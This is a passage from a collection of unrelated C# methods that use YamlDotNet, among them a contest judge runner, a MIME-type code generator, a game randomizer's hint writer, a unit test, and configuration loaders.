should be one of the following: " + $"'{string.Join("', '",Constants.AvailableFrequencies)}'"); return(Constants.ErrorCode); } _yamlData.FailureNotificationTags = ParseSetting(outputYamlData.FailureNotificationTags, _yamlData.FailureNotificationTags, false); return(Constants.SuccessCode); }
static void Main(string[] args) { if (args.Length != 2) { return; } string input = File.ReadAllText(args[0]); var deserializer = new DeserializerBuilder().WithNamingConvention(new CamelCaseNamingConvention()).Build(); var solution = deserializer.Deserialize <Solution>(input); var serializer = new SerializerBuilder().EmitDefaults().Build(); var compilationResults = CompileSource(solution.source); if (compilationResults.Errors.HasErrors) { solution.compilation = false; var yaml = serializer.Serialize(solution); File.WriteAllText(args[0], yaml); Console.WriteLine("Compilation error"); return; } solution.compilation = true; Assembly assembly = compilationResults.CompiledAssembly; Type program = assembly.GetType("Program"); MethodInfo main = program.GetMethod("Main"); var instance = assembly.CreateInstance("Program"); var type = instance.GetType(); string pathToTests = args[1]; var subtasks = Directory.GetDirectories(pathToTests); var task = LoadTask(pathToTests); solution.results.Clear(); for (int i = 0; i < subtasks.Length; i++) { var tests = Directory.GetFiles(subtasks[i]); var results = new Dictionary <string, Result>(); for (int j = 0; j <= tests.Length - 2; j += 2) { Result result = new Result(); PrepareTest(tests[j], task.inputFile); result = MeasureSolution(args, main, instance, 1024 * 1024 * task.memoryLimit, task.timeLimit * 1000, tests[j + 1], task.outputFile); results.Add(((j / 2) + 1).ToString(), result); } solution.results.Add($"subtask{i + 1}", results); } solution.total = CalculateScore(solution.results, task.testSuites); var finalYAML = serializer.Serialize(solution); File.WriteAllText(args[0], finalYAML); Clean(task.inputFile, task.outputFile); }
static int Main(string[] _args) { var assembly = typeof(Program).Assembly; var fore = Console.ForegroundColor; void restore() => Console.ForegroundColor = fore; void error() => Console.ForegroundColor = ConsoleColor.Red; void info() => Console.ForegroundColor = ConsoleColor.White; void skipping() => Console.ForegroundColor = ConsoleColor.DarkGray; void found() => Console.ForegroundColor = ConsoleColor.Green; void printUsing() => Console.WriteLine($"{assembly.GetName().Name} <output_path> <class_name>"); if (_args.Length < 2) { printUsing(); return(-1); } var outputFile = _args[0]; if (!ParseClassName(_args[1], out var nameSpace, out var className)) { error(); Console.WriteLine("Wrong arguments. class_name is incorrect"); restore(); printUsing(); return(-1); } Console.WriteLine($"Output: {outputFile}"); Console.WriteLine($"Classname: {className}"); Console.WriteLine($"Namespace: {nameSpace}"); var home = Path.GetDirectoryName(assembly.Location); Console.WriteLine($"Home: {home}"); var lut = new Dictionary <string, string[]>(StringComparer.InvariantCultureIgnoreCase); var extLut = new Dictionary <string, string>(StringComparer.InvariantCultureIgnoreCase); var deserializer = new DeserializerBuilder() .WithTagMapping("!ruby/object:MIME::Type", typeof(MimeType)) .Build(); foreach (var file in Directory.EnumerateFiles(Path.Combine(home, "types"), "*.yaml")) { info(); Console.WriteLine($"Reading: {file}"); restore(); var types = deserializer.Deserialize <MimeType[]>(File.ReadAllText(file)); foreach (var type in types) { if (type.Obsolete) { continue; } if (!(type.Extensions?.Length > 0)) { lut.Add(type.ContentType, type.Extensions); continue; } lut.Add(type.ContentType, type.Extensions); foreach (var e in type.Extensions) { extLut[e] = type.ContentType; } found(); Console.WriteLine($"Found '{type.ContentType}' -> '{string.Join(",", type.Extensions)}"); restore(); } info(); Console.WriteLine($"Parsed: {file}"); restore(); } info(); Console.WriteLine($"Generating C#..."); restore(); var code = new Gen() [$"namespace {nameSpace}"] ["{"] [$"public static class {className}"] ["{"] [_ => lut.Keys.Aggregate(_, (_gen, _mime) => _gen[$"public static string {AppropriatePropertyName(_mime)} {{get;}} = \"{_mime}\";"])] // Properties ["public static bool TryFindMimeTypeByExtension(string _extensionWithoutDot, out string _mime)"] // TryFind Mime Type By Extension ["{"] ["switch(_extensionWithoutDot.ToLower())"] ["{"] [_ => extLut.Aggregate(_, (_gen, _pair) => _gen [$"case \"{_pair.Key.ToLower()}\":"] ["{"] [$"_mime = {AppropriatePropertyName(_pair.Value)};"] ["return true;"] ["}"] )] ["}"] ["_mime = null;"] ["return false;"] ["}"] ["public static string FindMimeTypeByExtension(string _extensionWithoutDot)"] // Find Mime Type By Extension ["{"] ["if(TryFindMimeTypeByExtension(_extensionWithoutDot, out var _mime)) return _mime;"] ["throw new System.NotSupportedException();"] ["}"] ["}"] ["}"] .ToString(); Console.WriteLine(code); info(); Console.WriteLine($"Generated C#"); Console.WriteLine($"Writting to {outputFile}"); restore(); File.WriteAllText(outputFile, code); info(); Console.WriteLine($"done"); restore(); return(0); }
public void Write(RandomizerOptions opt, Permutation permutation) { // Overall: 9020, and 9200 to 9228 // Exclude 9209 and 9215 and 9228 bc it's useful // Also, 9221 9223 9225 are 'purchase to read' // Can replace everything in quotes // Or after the first :\n // Or after the last \n\n // If the message ends with ' -?Name' can leave that. space or ideographic space (3000). multiple whitespace either way // // Alternatively: replace individual text, like 'moon-view tower' // defeat a named enemy // defeat a formidable foe // defeat a powerful enemy FMG itemDesc = game.ItemFMGs["アイテム説明"]; FMG eventText = game.MenuFMGs["イベントテキスト"]; if (opt["writehints"]) { List <int> eventIds = new List <int> { 12000000, 12000331, 12000021, 12000261, 12000275, 12000321, 12000285, 12000241, 12000011, 12000311, 12000231, 12000291, 12000341, }; eventIds.Sort(); HintData write = new HintData(); void createHint(int id, string name, string text) { Hint hint = new Hint { ID = id, Name = name, Versions = new List <HintTemplate> { new HintTemplate { Type = "default", Text = text.Split('\n').ToList(), } }, }; write.Hints.Add(hint); } foreach (KeyValuePair <ItemKey, string> entry in game.Names()) { ItemKey key = entry.Key; if (!(key.Type == ItemType.GOOD && (key.ID == 9020 || key.ID >= 9200 && key.ID <= 9228))) { continue; } createHint(key.ID, entry.Value, itemDesc[key.ID]); } foreach (int id in eventIds) { createHint(id, null, eventText[id]); } ISerializer serializer = new SerializerBuilder().DisableAliases().Build(); using (var writer = File.CreateText("hints.txt")) { serializer.Serialize(writer, write); } return; } IDeserializer deserializer = new DeserializerBuilder().Build(); HintData hints; using (var reader = File.OpenText("dists/Base/hints.txt")) { hints = deserializer.Deserialize <HintData>(reader); } // Preprocess some items Dictionary <HintType, TypeHint> typeNames = hints.Types.ToDictionary(e => e.Name, e => e); Dictionary <ItemCategory, List <ItemKey> > categories = ((ItemCategory[])Enum.GetValues(typeof(ItemCategory))).ToDictionary(e => e, e => new List <ItemKey>()); Dictionary <ItemCategory, string> categoryText = new Dictionary <ItemCategory, string>(); foreach (ItemHint cat in hints.ItemCategories) { if (cat.Includes != null) { categories[cat.Name].AddRange(cat.Includes.Split(' ').Select(i => ann.Items.TryGetValue(i, out ItemKey key) ? key : throw new Exception($"Unrecognized name {i}"))); } if (cat.IncludesName != null) { categories[cat.Name].AddRange(phraseRe.Split(cat.IncludesName).Select(i => game.ItemForName(i))); } if (cat.Text != null) { categoryText[cat.Name] = cat.Text; } } if (opt["earlyhirata"]) { categories[ItemCategory.ExcludeHints].Add(ann.Items["younglordsbellcharm"]); } categories[ItemCategory.ExcludeHints].AddRange(permutation.NotRequiredKeyItems); // TODO: Exclude non-technically-required items... calculate this in key item permutations List <ItemKey> allItems = permutation.KeyItems.ToList(); if (opt["norandom_skills"]) { categories[ItemCategory.ImportantTool].Clear(); } else { allItems.AddRange(categories[ItemCategory.ImportantTool]); } allItems.AddRange(categories[ItemCategory.HintFodder]); Dictionary <string, ItemHintName> specialItemNames = hints.ItemNames.ToDictionary(n => n.Name, n => n); // Process areas Dictionary <string, AreaHint> areas = new Dictionary <string, AreaHint>(); HashSet <string> gameAreas = new HashSet <string>(ann.Areas.Keys); List <string> getAreasForName(string names) { List <string> nameList = new List <string>(); foreach (string name in names.Split(' ')) { if (name.EndsWith("*")) { string prefix = name.Substring(0, name.Length - 1); List <string> matching = gameAreas.Where(n => n.StartsWith(prefix)).ToList(); if (matching.Count == 0) { throw new Exception($"Unrecognized area in hint config: {name}"); } nameList.AddRange(matching); } else { if (!gameAreas.Contains(name)) { throw new Exception($"Unrecognized area in hint config: {name}"); } nameList.Add(name); } } return(nameList); } foreach (AreaHint area in hints.Areas) { if (area.Name == null || area.Includes == null) { throw new Exception($"Missing data in area hint grouping {area.Name}"); } areas[area.Name] = area; area.Areas.UnionWith(getAreasForName(area.Includes)); if (area.Excludes != null) { area.Areas.ExceptWith(getAreasForName(area.Excludes)); } if (area.LaterIncludes != null) { area.LaterAreas.UnionWith(getAreasForName(area.LaterIncludes)); if (!area.LaterAreas.IsSubsetOf(area.Areas)) { throw new Exception($"Error in hint config: later areas of {area.Name} are not a subset of all areas"); } } area.EarlyAreas.UnionWith(area.Areas.Except(area.LaterAreas)); if (area.Parent != null) { if (!areas.TryGetValue(area.Parent, out AreaHint parent)) { throw new Exception($"Error in hint config: parent of {area.Name} does not exist: {area.Parent}"); } area.Parents.Add(parent); area.Parents.UnionWith(parent.Parents); } if (area.Present != null) { area.Types = area.Present.Split(' ').Select(t => (HintType)Enum.Parse(typeof(HintType), t)).ToList(); } } bool printText = opt["hinttext"]; // Process items to search for List <ItemCategory> categoryOverrides = new List <ItemCategory> { ItemCategory.RequiredKey, ItemCategory.RequiredAbility, ItemCategory.ImportantTool, ItemCategory.HintFodder }; HashSet <string> chests = new HashSet <string> { "o005300", "o005400", "o255300" }; List <Placement> placements = new List <Placement>(); Dictionary <ItemKey, Placement> itemPlacement = new Dictionary <ItemKey, Placement>(); foreach (ItemKey key in allItems) { if (categories[ItemCategory.ExcludeHints].Contains(key)) { continue; } if (!permutation.SkillAssignment.TryGetValue(key, out ItemKey lookup)) { lookup = key; } SlotKey targetKey = permutation.GetFiniteTargetKey(lookup); ItemLocation itemLoc = data.Location(targetKey); if (!ann.Slots.TryGetValue(itemLoc.LocScope, out SlotAnnotation slot)) { continue; } ItemCategory category = ItemCategory.RequiredItem; foreach (ItemCategory cat in categoryOverrides) { // Use the last applicable category if (categories[cat].Contains(key)) { category = cat; } } List <HintType> types = new List <HintType>(); if (slot.HasTag("boss") || slot.HasTag("bosshint")) { types.Add(HintType.Boss); types.Add(HintType.Enemy); } else if (slot.HasTag("miniboss")) { types.Add(HintType.Miniboss); types.Add(HintType.Enemy); } else if (slot.HasTag("enemyhint")) { types.Add(HintType.Enemy); } else if (slot.HasTag("carp")) { types.Add(HintType.Carp); } else if (itemLoc.Keys.Any(k => k.Type == LocationKey.LocationType.SHOP && k.ID / 100 != 11005)) { types.Add(HintType.Shop); } else { if (slot.Area.EndsWith("_underwater") || slot.HasTag("underwater")) { types.Add(HintType.Underwater); } if (itemLoc.Keys.Any(k => k.Type == LocationKey.LocationType.LOT && k.Entities.Any(e => chests.Contains(e.ModelName)))) { types.Add(HintType.Chest); } types.Add(HintType.Treasure); } string name = game.Name(key); Placement placement = new Placement { Item = key, FullName = name, Category = category, LateEligible = categories[ItemCategory.LatenessHints].Contains(key), Important = category != ItemCategory.HintFodder, Area = slot.Area, Types = types, }; if (placement.Important) { placements.Add(placement); } itemPlacement[key] = placement; if (printText) { Console.WriteLine(placement); } } foreach (Hint hint in hints.Hints) // Lovely { hint.Types = hint.Versions.Where(v => v.Type != "default").ToDictionary(v => v.Type, v => v); } // Classify early and late areas HashSet <string> early = new HashSet <string>(permutation.IncludedAreas.Where(e => !e.Value.Contains("ashinacastle")).Select(e => e.Key)); HashSet <string> late = new HashSet <string>(permutation.IncludedAreas.Where(e => e.Value.Contains("fountainhead_bridge")).Select(e => e.Key)); // Start hints Random random = new Random((int)opt.Seed); List <Hint> sources = hints.Hints.Where(s => s.Types.Any(e => e.Key != "default")).ToList(); Shuffle(random, sources); sources = sources.OrderBy(s => (s.HasInfix("bad") && s.Types.ContainsKey("hint")) ? 1 : 0).ToList(); string choose(List <string> items) { return(items.Count == 1 ? items[0] : Choice(random, items)); } // Process all hint types. There are 20 item locations in the entire game, plus 13 fixed texts, for a total of 33 Regex format = new Regex(@"\(([^\)]*)\)"); if (printText) { Console.WriteLine($"No hint items: {string.Join(", ", categories[ItemCategory.ExcludeHints].Select(k => game.Name(k)))}"); } void addHint(Hint hint, HintTemplate t, Placement mainPlacement, Placement otherPlacement = null) { string text = printText ? string.Join(" ", t.Text.Select(l => l.Trim())) : string.Join("\n", t.Text); bool positive = !t.Type.Contains("bad"); foreach (Match m in format.Matches(text)) { string variable = m.Groups[1].Value; string[] parts = variable.Split('_'); string kind = parts[0].ToLowerInvariant(); bool upper = char.IsUpper(parts[0][0]); string subkind = parts.Length > 1 ? parts[1] : null; string value; Placement placement = kind == "location2" && otherPlacement != null ? otherPlacement : mainPlacement; if (kind == "item") { if (positive) { if (placement.LateHint || !categoryText.ContainsKey(placement.Category)) { value = placement.FullName; if (specialItemNames.TryGetValue(value, out ItemHintName vagueName)) { value = choose(vagueName.GetNames()); } } else { value = categoryText[placement.Category]; } } else { // Shouldn't be used in this context, but fall back value = "nothing"; } } else if (kind == "type") { HintType type = placement.Types.FirstOrDefault(); value = choose(typeNames[placement.Types[0]].GetNames(subkind)); } else if (kind == "location" || kind == "location2") { bool prep; if (subkind == null) { prep = false; } else if (subkind == "preposition") { prep = true; } else { throw new Exception($"Unknown hint config variable {variable}"); } if (positive || placement.Types.Count == 0) { value = placement.AreaHint == null ? (positive ? "somewhere" : "anywhere") : choose(placement.AreaHint.GetNames(prep)); } else { if (prep || placement.AreaHint != null) { value = (prep ? "from " : "") + choose(typeNames[placement.Types[0]].GetNames("noun")) + " " + (placement.AreaHint == null ? (positive ? "somewhere" : "anywhere") : choose(placement.AreaHint.GetNames(true))); } else { value = value = choose(typeNames[placement.Types[0]].GetNames("gerund")); } } } else { throw new Exception($"Unknown hint variable {variable}"); } if (upper) { value = value[0].ToString().ToUpperInvariant() + value.Substring(1); } text = text.Replace($"({variable})", value); } if (printText) { Console.WriteLine(text + "\n"); } if (hint.ID < 10000) { itemDesc[hint.ID] = text; } else { eventText[hint.ID] = text; } } AreaHint mostSpecificArea(string name) { AreaHint selected = null; foreach (AreaHint area in hints.Areas) { if (area.EarlyAreas.Contains(name)) { if (selected == null || area.Parents.Contains(selected)) { selected = area; } } } return(selected); } T pop <T>(List <T> list) { T ret = list[list.Count - 1]; list.RemoveAt(list.Count - 1); return(ret); } // In priority order: // Item hints: Find item at (type) and (location). Always filled in. 1 of these. HashSet <ItemKey> exactKey = new HashSet <ItemKey>(); foreach (Hint hint in sources.Where(s => s.Types.ContainsKey("itemhint")).ToList()) { HintTemplate t = hint.Types["itemhint"]; if (!ann.Items.TryGetValue(t.Req, out ItemKey key)) { throw new Exception($"Unrecognized name {t.Req}"); } if (!itemPlacement.TryGetValue(key, out Placement placement)) { continue; } exactKey.Add(key); placement = placement.Copy(); placement.AreaHint = mostSpecificArea(placement.Area); addHint(hint, t, placement); sources.Remove(hint); } // Location hints: Find (item/item category/nothing) at (location). Always filled in. 2 of these. foreach (Hint hint in sources.Where(s => s.Types.ContainsKey("locationhint")).ToList()) { HintTemplate t = hint.Types["locationhint"]; List <string> reqAreas = t.Req.Split(' ').ToList(); List <Placement> places = placements.Where(p => reqAreas.Contains(p.Area)).ToList(); if (places.Count == 0 && hint.Types.TryGetValue("locationbadhint", out HintTemplate t2)) { addHint(hint, t2, null); } else { Placement placement = places[0].Copy(); addHint(hint, t, placement); } sources.Remove(hint); } // Global negative hint: There is nothing at (type). Always include as many as applicable for likely types, treasure/chest/boss/miniboss/enemy/underwater/shop (but more like 1-2) List <HintType> present = placements.SelectMany(p => p.Types).Distinct().ToList(); List <HintType> absent = new List <HintType> { HintType.Treasure, HintType.Chest, HintType.Boss, HintType.Miniboss, HintType.Enemy, HintType.Underwater, HintType.Shop } .Except(present).ToList(); foreach (Hint hint in sources.Where(s => s.Types.ContainsKey("badhint")).ToList()) { if (absent.Count == 0) { break; } HintType type = pop(absent); HintTemplate t = hint.Types["badhint"]; addHint(hint, t, new Placement { Types = new List <HintType> { type }, }); sources.Remove(hint); } // Positive hint: There is (item/item category) at (type) in (location). Include one per key item, up to 13, and special items, currently 3. List <Placement> toPlace = placements.Where(p => !exactKey.Contains(p.Item)).ToList(); foreach (Hint hint in sources.Where(s => s.Types.ContainsKey("hint")).ToList()) { if (toPlace.Count == 0) { break; } HintTemplate t = hint.Types["hint"]; Placement placement = pop(toPlace); placement = placement.Copy(); placement.AreaHint = mostSpecificArea(placement.Area); addHint(hint, t, placement); sources.Remove(hint); } // Lateness hint: There is (item) at (type) (late/early). Include one per location item, up to 6. toPlace = placements.Where(p => p.LateEligible).ToList(); foreach (Hint hint in sources.Where(s => s.Types.ContainsKey("hint")).ToList()) { if (toPlace.Count == 0) { break; } HintTemplate t = hint.Types["hint"]; Placement placement = pop(toPlace); placement = placement.Copy(); placement.LateHint = true; string info = early.Contains(placement.Area) ? "an early game location" : (late.Contains(placement.Area) ? "a late game location" : "a mid game location"); string prep = early.Contains(placement.Area) ? "in the early game" : (late.Contains(placement.Area) ? "in the late game" : "in the mid game"); placement.AreaHint = new AreaHint { Name = info, Vague = info, VaguePrep = prep }; addHint(hint, t, placement); sources.Remove(hint); } // So far, around 25 hints created, with ~10 left to go. At this point, pick randomly from either of these categories. List <AreaHint> withoutRedundantChildren(List <AreaHint> allAreas) { return(allAreas.Where(area => area.Parents.Count == 0 || !area.Parents.Any(p => allAreas.Contains(p))).ToList()); } List <AreaHint> areasWithoutPlacements(HintType type = HintType.None) { HashSet <string> importantAreas = new HashSet <string>(placements.Where(p => type == HintType.None || p.Types.Contains(type)).Select(p => p.Area)); return(hints.Areas.Where(h => (type == HintType.None || h.Types.Contains(type)) && !importantAreas.Overlaps(h.Areas)).ToList()); } // Area negative hint: There is nothing in (location). Can be included for all such areas, but eliminate a hint if its parent also applies. Dictionary <HintType, List <AreaHint> > negativeHints = new Dictionary <HintType, List <AreaHint> >(); List <AreaHint> unimportantAreas = areasWithoutPlacements(); negativeHints[HintType.None] = withoutRedundantChildren(unimportantAreas); foreach (HintType noType in new[] { HintType.Boss, HintType.Miniboss, HintType.Treasure }) { negativeHints[noType] = withoutRedundantChildren(areasWithoutPlacements(noType)).Except(unimportantAreas).ToList(); } negativeHints[HintType.Enemy] = new List <AreaHint>(); foreach (AreaHint allEnemy in negativeHints[HintType.Boss].Intersect(negativeHints[HintType.Miniboss]).ToList()) { // Add 'no powerful enemy' hints if no boss and no miniboss. negativeHints[HintType.Enemy].Add(allEnemy); negativeHints[HintType.Boss].Remove(allEnemy); negativeHints[HintType.Miniboss].Remove(allEnemy); } List <Placement> negatives = new List <Placement>(); foreach (KeyValuePair <HintType, List <AreaHint> > entry in negativeHints) { List <HintType> types = entry.Key == HintType.None ? new List <HintType>() : new List <HintType> { entry.Key }; foreach (AreaHint area in entry.Value) { negatives.Add(new Placement { AreaHint = area, Types = types, }); } } // Area type hint: There is nothing at (type) in (location). Include this for treasure and for miniboss/boss/enemy, eliminating when parent (or parent type) applies. Shuffle(random, negatives); negatives = negatives.OrderBy(a => a.AreaHint.AreaRank).ToList(); // If there are at least 4 negative hints, allow up to 3 of the remainder to become fodder. List <Hint> negativeHintTemplates = sources.Where(s => s.Types.ContainsKey("badhint") || s.Types.ContainsKey("badhint2")).ToList(); if (negatives.Count >= 4 && negativeHintTemplates.Count > 4) { int cutoffIndex = Math.Max(negativeHintTemplates.Count - 3, 4); negativeHintTemplates.RemoveRange(cutoffIndex, negativeHintTemplates.Count - cutoffIndex); } foreach (Hint hint in negativeHintTemplates) { if (negatives.Count == 0) { break; } HintTemplate t = hint.Types.ContainsKey("badhint") ? hint.Types["badhint"] : hint.Types["badhint2"]; Placement placement = pop(negatives); Placement otherPlacement = t.Type == "badhint2" && negatives.Count > 0 ? pop(negatives) : null; addHint(hint, t, placement, otherPlacement); sources.Remove(hint); } if (printText) { Console.WriteLine($"{sources.Count} remaining hints: [{string.Join(", ", sources.Select(s => string.Join("/", s.Types.Keys)))}]"); } if (sources.Count > 0) { // At this point, pull in misc hints for somewhat useful items toPlace = categories[ItemCategory.HintFodder].Select(k => itemPlacement[k]).ToList(); Shuffle(random, toPlace); foreach (Hint hint in sources.Where(s => s.Types.ContainsKey("hint")).ToList()) { if (toPlace.Count == 0) { break; } HintTemplate t = hint.Types["hint"]; Placement placement = pop(toPlace); placement = placement.Copy(); placement.AreaHint = mostSpecificArea(placement.Area); addHint(hint, t, placement); sources.Remove(hint); } } // Need to figure out which items are strictly required to beat the game // Also, for bad hints, find all strictly required items plus key items // List all locations which can have hints scoped to them. The entirety of Sunken Valley, or just lower/upper, or burrow // Most key items get minimum specificity // Required side area items will get early/lateness specificity when that applies // Skills/prosthetics will get maximum specificity, maybe even two for Mikiri // Mortal Blade is excluded, since it has its own explicit hint // Young Lord Bell Charm is excluded if earlyhirata }
public void HandlesUndocumentedPlatform() { using TempFolderContext tempFolderContext = TestHelper.UseTempFolder(); const string SourceRepoUrl = "https://www.github.com/dotnet/dotnet-docker"; const string RepoName = "repo"; const string SourceBranch = "branch"; // Create MCR tags metadata template file StringBuilder tagsMetadataTemplateBuilder = new StringBuilder(); tagsMetadataTemplateBuilder.AppendLine($"$(McrTagsYmlRepo:{RepoName})"); tagsMetadataTemplateBuilder.AppendLine($"$(McrTagsYmlTagGroup:tag1a)"); string tagsMetadataTemplatePath = Path.Combine(tempFolderContext.Path, "tags.yaml"); File.WriteAllText(tagsMetadataTemplatePath, tagsMetadataTemplateBuilder.ToString()); Platform platform = ManifestHelper.CreatePlatform( DockerfileHelper.CreateDockerfile($"1.0/{RepoName}/os", tempFolderContext), Array.Empty <string>()); platform.Tags = new Dictionary <string, Tag> { { "tag2", new Tag { IsUndocumented = true } } }; // Create manifest Manifest manifest = ManifestHelper.CreateManifest( ManifestHelper.CreateRepo(RepoName, new Image[] { ManifestHelper.CreateImage( platform, ManifestHelper.CreatePlatform( DockerfileHelper.CreateDockerfile($"1.0/{RepoName}/os2", tempFolderContext), new string[] { "tag1a", "tag1b" })) }, mcrTagsMetadataTemplatePath: Path.GetFileName(tagsMetadataTemplatePath)) ); string manifestPath = Path.Combine(tempFolderContext.Path, "manifest.json"); File.WriteAllText(manifestPath, JsonConvert.SerializeObject(manifest)); // Load manifest IManifestOptionsInfo manifestOptions = GetManifestOptions(manifestPath); ManifestInfo manifestInfo = ManifestInfo.Load(manifestOptions); RepoInfo repo = manifestInfo.AllRepos.First(); Mock <IGitService> gitServiceMock = new Mock <IGitService>(); // Execute generator string result = McrTagsMetadataGenerator.Execute( gitServiceMock.Object, manifestInfo, repo, SourceRepoUrl, SourceBranch); Models.Mcr.McrTagsMetadata tagsMetadata = new DeserializerBuilder() .WithNamingConvention(CamelCaseNamingConvention.Instance) .Build() .Deserialize <Models.Mcr.McrTagsMetadata>(result); // Verify the output only contains the platform with the documented tag Assert.Single(tagsMetadata.Repos[0].TagGroups); Assert.Equal( $"{SourceRepoUrl}/blob/{SourceBranch}/1.0/{RepoName}/os2/Dockerfile", tagsMetadata.Repos[0].TagGroups[0].Dockerfile); Assert.Equal(new string[] { "tag1a", "tag1b" }, tagsMetadata.Repos[0].TagGroups[0].Tags); }
/// <summary> /// ユースケースカタログを読みこむ /// </summary> /// <param name="reader">読みこみ元</param> /// <param name="catalogFileName">ユースケースカタログファイル名</param> /// <param name="catalogLastUpdateTime">ユースケースカタログの最終更新日時</param> /// <returns>インスタンス</returns> public UseCaseCatalog ReadFrom(TextReader reader, string catalogFileName, DateTime catalogLastUpdateTime) { Contract.Requires(reader != null); Contract.Ensures(Contract.Result <UseCaseCatalog>() != null); UseCaseCatalog catalog = null; var lastUpdateTime = catalogLastUpdateTime; var deserializer = new DeserializerBuilder() .WithNamingConvention(new CamelCaseNamingConvention()) .WithNodeTypeResolver(new CustomNodeTypeResolver()) .IgnoreUnmatchedProperties() .Build(); var asYaml = deserializer.Deserialize <ValueOverwriteDisallowDictionary <object, object> >(reader); Contract.Assert(asYaml != null); if (asYaml.ContainsKey("ユースケースシナリオカタログ")) { // シナリオセットを読みこむ var scenarioSet = new List <KeyValuePair <string, Dictionary <object, object> > >(); foreach (var scenarioFilePath in asYaml["シナリオセット"] as IEnumerable <object> ) { var path = scenarioFilePath as string; if (path == null) { throw new ArgumentOutOfRangeException(Resources.Resources.Exception_InvalidScenarioSetFileSpecification); } path = Utilities.TryToNormalizeFilePath(path); var exists = File.Exists(path); if (exists == false && string.IsNullOrWhiteSpace(referenceDirectory) == false) { path = Utilities.TryToNormalizeFilePath(Path.Combine(referenceDirectory, path)); exists = File.Exists(path); } if (exists == false) { throw new FileNotFoundException(Resources.Resources.Exception_ScenarioSetFileNotFound, scenarioFilePath as string); } var scenarioSetLastUpdateTime = File.GetLastWriteTime(path); if (lastUpdateTime < scenarioSetLastUpdateTime) { lastUpdateTime = scenarioSetLastUpdateTime; } try { using (var scenarioReader = new StreamReader(path)) { var scenarioSetAsYaml = deserializer.Deserialize <ValueOverwriteDisallowDictionary <object, object> >(scenarioReader); Contract.Assert(scenarioSetAsYaml != null); scenarioSet.Add(new KeyValuePair <string, Dictionary <object, object> >(Path.GetFileName(path), scenarioSetAsYaml.AsDictionary)); } } catch (YamlException e) { throw new ApplicationException(string.Format(Resources.Resources.Exception_Format_InvalidScenarioSetFileFormat, path, e.Message), e); } } asYaml.Remove("シナリオセット"); var title = asYaml["ユースケースシナリオカタログ"] as string; asYaml.Remove("ユースケースシナリオカタログ"); var updateHistory = new List <UseCaseUpdateInfo>(); if (asYaml.ContainsKey("更新履歴")) { updateHistory.AddRange((asYaml["更新履歴"] as ValueOverwriteDisallowDictionary <object, object>).AsDictionary.Select(history => UseCaseUpdateInfo.CreateInstance(history))); asYaml.Remove("更新履歴"); } catalog = new UseCaseCatalog(catalogFileName, lastUpdateTime, title, scenarioSet, updateHistory, asYaml.AsDictionary); } else if (asYaml.ContainsKey("ユースケースシナリオセット")) { // 自身がシナリオセット catalog = new UseCaseCatalog(new List <KeyValuePair <string, Dictionary <object, object> > > { new KeyValuePair <string, Dictionary <object, object> >(catalogFileName, asYaml.AsDictionary) }); } return(catalog); }
public static async Task <Configuration> LoadConfigurationAsync(string configurationFilenameOrUrl) { JObject localconfiguration = null; if (!string.IsNullOrWhiteSpace(configurationFilenameOrUrl)) { string configurationContent; // Load the job definition from a url or locally try { if (configurationFilenameOrUrl.StartsWith("http", StringComparison.OrdinalIgnoreCase)) { configurationContent = await _httpClient.GetStringAsync(configurationFilenameOrUrl); } else { configurationContent = File.ReadAllText(configurationFilenameOrUrl); } } catch { throw new RegressionBotException($"Configuration '{configurationFilenameOrUrl}' could not be loaded."); } // Detect file extension string configurationExtension = null; if (configurationFilenameOrUrl.StartsWith("http", StringComparison.OrdinalIgnoreCase)) { // Remove any query string to detect the correct extension var questionMarkIndex = configurationFilenameOrUrl.IndexOf("?"); if (questionMarkIndex != -1) { var filename = configurationFilenameOrUrl.Substring(0, questionMarkIndex); configurationExtension = Path.GetExtension(filename); } else { configurationExtension = Path.GetExtension(configurationFilenameOrUrl); } } else { configurationExtension = Path.GetExtension(configurationFilenameOrUrl); } switch (configurationExtension) { case ".json": localconfiguration = JObject.Parse(configurationContent); break; case ".yml": case ".yaml": var deserializer = new DeserializerBuilder() .WithNodeTypeResolver(new JsonTypeResolver()) .Build(); object yamlObject; try { yamlObject = deserializer.Deserialize(new StringReader(configurationContent)); } catch (YamlDotNet.Core.SyntaxErrorException e) { throw new RegressionBotException($"Error while parsing '{configurationFilenameOrUrl}'\n{e.Message}"); } var serializer = new SerializerBuilder() .JsonCompatible() .Build(); var json = serializer.Serialize(yamlObject); // Format json in case the schema validation fails and we need to render error line numbers localconfiguration = JObject.Parse(json); var schemaJson = File.ReadAllText(Path.Combine(Path.GetDirectoryName(typeof(Program).Assembly.Location), "regressionbot.schema.json")); var schema = new Manatee.Json.Serialization.JsonSerializer().Deserialize <JsonSchema>(JsonValue.Parse(schemaJson)); var jsonToValidate = JsonValue.Parse(json); var validationResults = schema.Validate(jsonToValidate, new JsonSchemaOptions { OutputFormat = SchemaValidationOutputFormat.Detailed }); if (!validationResults.IsValid) { // Create a json debug file with the schema localconfiguration.AddFirst(new JProperty("$schema", "https://raw.githubusercontent.com/dotnet/crank/main/src/Microsoft.Crank.RegressionBot/regressionbot.schema.json")); var debugFilename = Path.Combine(Path.GetTempPath(), "configuration.debug.json"); File.WriteAllText(debugFilename, localconfiguration.ToString(Formatting.Indented)); var errorBuilder = new StringBuilder(); errorBuilder.AppendLine($"Invalid configuration file '{configurationFilenameOrUrl}' at '{validationResults.InstanceLocation}'"); errorBuilder.AppendLine($"{validationResults.ErrorMessage}"); errorBuilder.AppendLine($"Debug file created at '{debugFilename}'"); throw new RegressionBotException(errorBuilder.ToString()); } break; default: throw new RegressionBotException($"Unsupported configuration format: {configurationExtension}"); } return(localconfiguration.ToObject <Configuration>()); } else { throw new RegressionBotException($"Invalid file path or url: '{configurationFilenameOrUrl}'"); } }
public void Build() { Console.WriteLine($"Generating {GetFilePath()}"); var deserializer = new DeserializerBuilder().Build(); var serializer = new SerializerBuilder().Build(); Console.WriteLine($"With fragments:"); foreach (var fragment in Fragments.ToList()) { var fragmentPath = GetFragmentLocation(fragment); if (!File.Exists(fragmentPath)) { Console.WriteLine($"\t{fragment} not found in {fragmentPath}, ignoring..."); Fragments.Remove(fragment); } else { Console.WriteLine($"\t{fragment}"); } } var services = new List <KeyValuePair <YamlNode, YamlNode> >(); var volumes = new List <KeyValuePair <YamlNode, YamlNode> >(); var networks = new List <KeyValuePair <YamlNode, YamlNode> >(); foreach (var doc in Fragments.Select(f => ParseDocument(f))) { if (doc.Children.ContainsKey("services") && doc.Children["services"] is YamlMappingNode fragmentServicesRoot) { services.AddRange(fragmentServicesRoot.Children); } if (doc.Children.ContainsKey("volumes") && doc.Children["volumes"] is YamlMappingNode fragmentVolumesRoot) { volumes.AddRange(fragmentVolumesRoot.Children); } if (doc.Children.ContainsKey("networks") && 